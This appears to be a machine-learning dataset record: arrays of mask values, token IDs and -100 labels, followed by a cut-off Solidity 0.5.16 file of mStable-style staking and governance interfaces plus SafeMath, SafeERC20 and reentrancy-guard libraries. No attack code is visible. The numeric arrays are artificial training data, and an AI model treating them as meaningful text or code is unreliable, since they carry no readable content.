0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
389,
2725,
42,
19156,
1345,
13937,
1435,
2713,
5024,
1135,
261,
474,
5034,
13,
288,
203,
3639,
2254,
5034,
389,
10001,
42,
19156,
1345,
13937,
273,
284,
19156,
1345,
13937,
31,
203,
203,
3639,
284,
19156,
1345,
13937,
273,
284,
19156,
1345,
18,
12296,
951,
12,
2867,
12,
2211,
10019,
203,
203,
3639,
327,
509,
5034,
12,
74,
19156,
1345,
13937,
2934,
1717,
12,
474,
5034,
24899,
10001,
42,
19156,
1345,
13937,
10019,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity 0.5.16;
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IBoostedVaultWithLockup {
/**
* @dev Stakes a given amount of the StakingToken for the sender
* @param _amount Units of StakingToken
*/
function stake(uint256 _amount) external;
/**
* @dev Stakes a given amount of the StakingToken for a given beneficiary
* @param _beneficiary Staked tokens are credited to this address
* @param _amount Units of StakingToken
*/
function stake(address _beneficiary, uint256 _amount) external;
/**
* @dev Withdraws stake from pool and claims any unlocked rewards.
* Note, this function is costly - the args for _claimRewards
* should be determined off chain and then passed to other fn
*/
function exit() external;
/**
* @dev Withdraws stake from pool and claims any unlocked rewards.
* @param _first Index of the first array element to claim
* @param _last Index of the last array element to claim
*/
function exit(uint256 _first, uint256 _last) external;
/**
* @dev Withdraws given stake amount from the pool
* @param _amount Units of the staked token to withdraw
*/
function withdraw(uint256 _amount) external;
/**
* @dev Claims only the tokens that have been immediately unlocked, not including
* those that are in the lockers.
*/
function claimReward() external;
/**
* @dev Claims all unlocked rewards for sender.
* Note, this function is costly - the args for _claimRewards
* should be determined off chain and then passed to other fn
*/
function claimRewards() external;
/**
* @dev Claims all unlocked rewards for sender. Both immediately unlocked
* rewards and also locked rewards past their time lock.
* @param _first Index of the first array element to claim
* @param _last Index of the last array element to claim
*/
function claimRewards(uint256 _first, uint256 _last) external;
/**
* @dev Pokes a given account to reset the boost
*/
function pokeBoost(address _account) external;
/**
* @dev Gets the RewardsToken
*/
function getRewardToken() external view returns (IERC20);
/**
* @dev Gets the last applicable timestamp for this reward period
*/
function lastTimeRewardApplicable() external view returns (uint256);
/**
* @dev Calculates the amount of unclaimed rewards per token since last update,
* and sums with stored to give the new cumulative reward per token
* @return 'Reward' per staked token
*/
function rewardPerToken() external view returns (uint256);
/**
* @dev Returned the units of IMMEDIATELY claimable rewards a user has to receive. Note - this
* does NOT include the majority of rewards which will be locked up.
* @param _account User address
* @return Total reward amount earned
*/
function earned(address _account) external view returns (uint256);
/**
* @dev Calculates all unclaimed reward data, finding both immediately unlocked rewards
* and those that have passed their time lock.
* @param _account User address
* @return amount Total units of unclaimed rewards
* @return first Index of the first userReward that has unlocked
* @return last Index of the last userReward that has unlocked
*/
function unclaimedRewards(address _account)
external
view
returns (
uint256 amount,
uint256 first,
uint256 last
);
}
contract ModuleKeys {
// Governance
// ===========
// keccak256("Governance");
bytes32 internal constant KEY_GOVERNANCE =
0x9409903de1e6fd852dfc61c9dacb48196c48535b60e25abf92acc92dd689078d;
//keccak256("Staking");
bytes32 internal constant KEY_STAKING =
0x1df41cd916959d1163dc8f0671a666ea8a3e434c13e40faef527133b5d167034;
//keccak256("ProxyAdmin");
bytes32 internal constant KEY_PROXY_ADMIN =
0x96ed0203eb7e975a4cbcaa23951943fa35c5d8288117d50c12b3d48b0fab48d1;
// mStable
// =======
// keccak256("OracleHub");
bytes32 internal constant KEY_ORACLE_HUB =
0x8ae3a082c61a7379e2280f3356a5131507d9829d222d853bfa7c9fe1200dd040;
// keccak256("Manager");
bytes32 internal constant KEY_MANAGER =
0x6d439300980e333f0256d64be2c9f67e86f4493ce25f82498d6db7f4be3d9e6f;
//keccak256("Recollateraliser");
bytes32 internal constant KEY_RECOLLATERALISER =
0x39e3ed1fc335ce346a8cbe3e64dd525cf22b37f1e2104a755e761c3c1eb4734f;
//keccak256("MetaToken");
bytes32 internal constant KEY_META_TOKEN =
0xea7469b14936af748ee93c53b2fe510b9928edbdccac3963321efca7eb1a57a2;
// keccak256("SavingsManager");
bytes32 internal constant KEY_SAVINGS_MANAGER =
0x12fe936c77a1e196473c4314f3bed8eeac1d757b319abb85bdda70df35511bf1;
// keccak256("Liquidator");
bytes32 internal constant KEY_LIQUIDATOR =
0x1e9cb14d7560734a61fa5ff9273953e971ff3cd9283c03d8346e3264617933d4;
}
interface INexus {
function governor() external view returns (address);
function getModule(bytes32 key) external view returns (address);
function proposeModule(bytes32 _key, address _addr) external;
function cancelProposedModule(bytes32 _key) external;
function acceptProposedModule(bytes32 _key) external;
function acceptProposedModules(bytes32[] calldata _keys) external;
function requestLockModule(bytes32 _key) external;
function cancelLockModule(bytes32 _key) external;
function lockModule(bytes32 _key) external;
}
contract InitializableModule2 is ModuleKeys {
INexus public constant nexus = INexus(0xAFcE80b19A8cE13DEc0739a1aaB7A028d6845Eb3);
/**
* @dev Modifier to allow function calls only from the Governor.
*/
modifier onlyGovernor() {
require(msg.sender == _governor(), "Only governor can execute");
_;
}
/**
* @dev Modifier to allow function calls only from the Governance.
* Governance is either Governor address or Governance address.
*/
modifier onlyGovernance() {
require(
msg.sender == _governor() || msg.sender == _governance(),
"Only governance can execute"
);
_;
}
/**
* @dev Modifier to allow function calls only from the ProxyAdmin.
*/
modifier onlyProxyAdmin() {
require(msg.sender == _proxyAdmin(), "Only ProxyAdmin can execute");
_;
}
/**
* @dev Modifier to allow function calls only from the Manager.
*/
modifier onlyManager() {
require(msg.sender == _manager(), "Only manager can execute");
_;
}
/**
* @dev Returns Governor address from the Nexus
* @return Address of Governor Contract
*/
function _governor() internal view returns (address) {
return nexus.governor();
}
/**
* @dev Returns Governance Module address from the Nexus
* @return Address of the Governance (Phase 2)
*/
function _governance() internal view returns (address) {
return nexus.getModule(KEY_GOVERNANCE);
}
/**
* @dev Return Staking Module address from the Nexus
* @return Address of the Staking Module contract
*/
function _staking() internal view returns (address) {
return nexus.getModule(KEY_STAKING);
}
/**
* @dev Return ProxyAdmin Module address from the Nexus
* @return Address of the ProxyAdmin Module contract
*/
function _proxyAdmin() internal view returns (address) {
return nexus.getModule(KEY_PROXY_ADMIN);
}
/**
* @dev Return MetaToken Module address from the Nexus
* @return Address of the MetaToken Module contract
*/
function _metaToken() internal view returns (address) {
return nexus.getModule(KEY_META_TOKEN);
}
/**
* @dev Return OracleHub Module address from the Nexus
* @return Address of the OracleHub Module contract
*/
function _oracleHub() internal view returns (address) {
return nexus.getModule(KEY_ORACLE_HUB);
}
/**
* @dev Return Manager Module address from the Nexus
* @return Address of the Manager Module contract
*/
function _manager() internal view returns (address) {
return nexus.getModule(KEY_MANAGER);
}
/**
* @dev Return SavingsManager Module address from the Nexus
* @return Address of the SavingsManager Module contract
*/
function _savingsManager() internal view returns (address) {
return nexus.getModule(KEY_SAVINGS_MANAGER);
}
/**
* @dev Return Recollateraliser Module address from the Nexus
* @return Address of the Recollateraliser Module contract (Phase 2)
*/
function _recollateraliser() internal view returns (address) {
return nexus.getModule(KEY_RECOLLATERALISER);
}
}
interface IRewardsDistributionRecipient {
function notifyRewardAmount(uint256 reward) external;
function getRewardToken() external view returns (IERC20);
}
contract InitializableRewardsDistributionRecipient is
IRewardsDistributionRecipient,
InitializableModule2
{
// @abstract
function notifyRewardAmount(uint256 reward) external;
function getRewardToken() external view returns (IERC20);
// This address has the ability to distribute the rewards
address public rewardsDistributor;
/** @dev Recipient is a module, governed by mStable governance */
function _initialize(address _rewardsDistributor) internal {
rewardsDistributor = _rewardsDistributor;
}
/**
* @dev Only the rewards distributor can notify about rewards
*/
modifier onlyRewardsDistributor() {
require(msg.sender == rewardsDistributor, "Caller is not reward distributor");
_;
}
/**
* @dev Change the rewardsDistributor - only called by mStable governor
* @param _rewardsDistributor Address of the new distributor
*/
function setRewardsDistribution(address _rewardsDistributor) external onlyGovernor {
rewardsDistributor = _rewardsDistributor;
}
}
contract IERC20WithCheckpointing {
function balanceOf(address _owner) public view returns (uint256);
function balanceOfAt(address _owner, uint256 _blockNumber) public view returns (uint256);
function totalSupply() public view returns (uint256);
function totalSupplyAt(uint256 _blockNumber) public view returns (uint256);
}
contract IIncentivisedVotingLockup is IERC20WithCheckpointing {
function getLastUserPoint(address _addr)
external
view
returns (
int128 bias,
int128 slope,
uint256 ts
);
function createLock(uint256 _value, uint256 _unlockTime) external;
function withdraw() external;
function increaseLockAmount(uint256 _value) external;
function increaseLockLength(uint256 _unlockTime) external;
function eject(address _user) external;
function expireContract() external;
function claimReward() public;
function earned(address _account) public view returns (uint256);
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly {
codehash := extcodehash(account)
}
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Converts an `address` into `address payable`. Note that this is
* simply a type cast: the actual underlying value is not changed.
*
* _Available since v2.4.0._
*/
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*
* _Available since v2.4.0._
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
callOptionalReturn(
token,
abi.encodeWithSelector(token.transferFrom.selector, from, to, value)
);
}
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(
token,
abi.encodeWithSelector(token.approve.selector, spender, newAllowance)
);
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(
value,
"SafeERC20: decreased allowance below zero"
);
callOptionalReturn(
token,
abi.encodeWithSelector(token.approve.selector, spender, newAllowance)
);
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract InitializableReentrancyGuard {
bool private _notEntered;
function _initialize() internal {
// Storing an initial non-zero value makes deployment a bit more
// expensive, but in exchange the refund on every call to nonReentrant
// will be lower in amount. Since refunds are capped to a percetange of
// the total transaction's gas, it is best to keep them low in cases
// like this one, to increase the likelihood of the full refund coming
// into effect.
_notEntered = true;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_notEntered, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_notEntered = false;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_notEntered = true;
}
}
library StableMath {
using SafeMath for uint256;
/**
* @dev Scaling unit for use in specific calculations,
* where 1 * 10**18, or 1e18 represents a unit '1'
*/
uint256 private constant FULL_SCALE = 1e18;
/**
* @notice Token Ratios are used when converting between units of bAsset, mAsset and MTA
* Reasoning: Takes into account token decimals, and difference in base unit (i.e. grams to Troy oz for gold)
* @dev bAsset ratio unit for use in exact calculations,
* where (1 bAsset unit * bAsset.ratio) / ratioScale == x mAsset unit
*/
uint256 private constant RATIO_SCALE = 1e8;
/**
* @dev Provides an interface to the scaling unit
* @return Scaling unit (1e18 or 1 * 10**18)
*/
function getFullScale() internal pure returns (uint256) {
return FULL_SCALE;
}
/**
* @dev Provides an interface to the ratio unit
* @return Ratio scale unit (1e8 or 1 * 10**8)
*/
function getRatioScale() internal pure returns (uint256) {
return RATIO_SCALE;
}
/**
* @dev Scales a given integer to the power of the full scale.
